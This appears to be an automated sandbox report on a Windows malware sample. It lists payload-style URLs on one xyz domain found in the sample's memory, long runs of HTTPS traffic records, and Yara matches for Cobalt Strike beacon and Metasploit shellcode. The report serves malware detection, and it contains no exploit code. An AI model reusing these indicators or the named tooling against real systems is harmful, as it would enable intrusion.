Source: zrNcqxZRSM.exe, 00000000.00000003.3400688661.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgp
Source: zrNcqxZRSM.exe, 00000000.00000003.2274006817.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.3179235479.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2546808335.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2556991844.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.3400688661.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgpany
Source: zrNcqxZRSM.exe, 00000000.00000003.2274006817.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2792733367.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2304825437.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2452382248.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2782619837.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2387558633.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2462065563.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2515022698.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2335501844.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2502856442.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.3400688661.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2397439674.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2472265118.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2203567050.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpgw1J
Source: zrNcqxZRSM.exe, 00000000.00000003.2730445770.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2761828210.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2792733367.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2628753693.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2638964287.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2598958672.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2546808335.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2609033229.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2965780029.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2689688560.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2556991844.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2782619837.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2578103275.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2588422127.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2619030166.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2567854070.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2699895770.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2515022698.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2502856442.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2659253530.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2649042698.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpg~
Source: zrNcqxZRSM.exe, 00000000.00000003.2274006817.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2761828210.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2792733367.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2628753693.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2638964287.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2598958672.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.3179235479.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2546808335.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2609033229.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2965780029.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2556991844.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2782619837.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2578103275.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2588422127.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2619030166.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2567854070.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2335501844.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.3400688661.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp, zrNcqxZRSM.exe, 00000000.00000003.2772179277.000001A21FD22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cs.xiaojingjingaihuifeng.xyz/sadfasdgdfhsddfguri.jpg~1
Source: zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FCDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cs.xiaojingjingaihuifeng.xyz/tes
Source: zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FC6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cs.xiaojingjingaihuifeng.xyz/wqerqwersdgfx64.jpg
Source: zrNcqxZRSM.exe, 00000000.00000002.3408112072.000001A21FC6C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cs.xiaojingjingaihuifeng.xyz/wqerqwersdgfx64.jpg.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50054
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50053
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50058
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50059
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50061
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50062
Source: unknown	Network traffic detected: HTTP traffic on port 50068 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50102 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 49881 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 49858 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50067
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50069
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50068
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50070
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 50080 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50076
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50075
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50077
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50081
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50080
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50083
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50082
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50085
Source: unknown	Network traffic detected: HTTP traffic on port 49904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49939 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 50095 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50103 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50083 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49962 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50094 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50105
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50100
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50102
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50104
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50103
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50088 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50076 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 50093 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50082 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49939
Source: unknown	Network traffic detected: HTTP traffic on port 50081 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50070 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50098 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 50086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50092 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50101 -> 443

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:50104 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.3407668422.000000C0000A8000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000002.3407668422.000000C0000A8000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000000.00000002.3408927200.000001A2650C0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000002.3408927200.000001A2650C0000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000000.00000002.3407668422.000000C0000B8000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000002.3407668422.000000C0000B8000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000000.00000002.3407668422.000000C0000B4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Attempts to detect Cobalt Strike based on strings found in BEACON Author: unknown
Source: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies CobaltStrike via unidentified function code Author: unknown
Source: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon sleep obfuscation routine Author: unknown
Source: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000000.00000002.3409236481.000001A266DC0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 Author: unknown
Source: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Attempts to detect Cobalt Strike based on strings found in BEACON Author: unknown
Source: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies CobaltStrike via unidentified function code Author: unknown
Source: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon sleep obfuscation routine Author: unknown
Source: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Rule for beacon reflective loader Author: unknown
Source: 00000000.00000002.3409364976.000001A2671C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Trojan_Raw_Generic_4 Author: unknown
Source: 00000000.00000002.3407668422.000000C0000A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000002.3407668422.000000C0000B6000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000002.3407668422.000000C0000B6000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: 00000000.00000002.3407668422.000000C000082000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the API address lookup function leverage by metasploit shellcode Author: unknown
Source: 00000000.00000002.3407668422.000000C000082000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families. Author: unknown
Source: Process Memory Space: zrNcqxZRSM.exe PID: 1424, type: MEMORYSTR	Matched rule: Attempts to detect Cobalt Strike based on strings found in BEACON Author: unknown

Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C61A40 DuplicateHandle,GetCurrentThreadId,CreateWaitableTimerExW,CreateWaitableTimerExW,NtCreateWaitCompletionPacket,VirtualQuery,	0_2_00C61A40
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C60200 LoadLibraryExW,LoadLibraryExW,NtCreateWaitCompletionPacket,NtAssociateWaitCompletionPacket,NtCancelWaitCompletionPacket,RtlGetCurrentPeb,RtlGetVersion,	0_2_00C60200
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C5FE00 NtCancelWaitCompletionPacket,SetWaitableTimer,NtAssociateWaitCompletionPacket,	0_2_00C5FE00

Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C6C8C0	0_2_00C6C8C0
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C628E0	0_2_00C628E0
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C32060	0_2_00C32060
Source: C:\Users\user\Desktop\zrNcqxZRSM.exe	Code function: 0_2_00C54800	0_2_00C54800
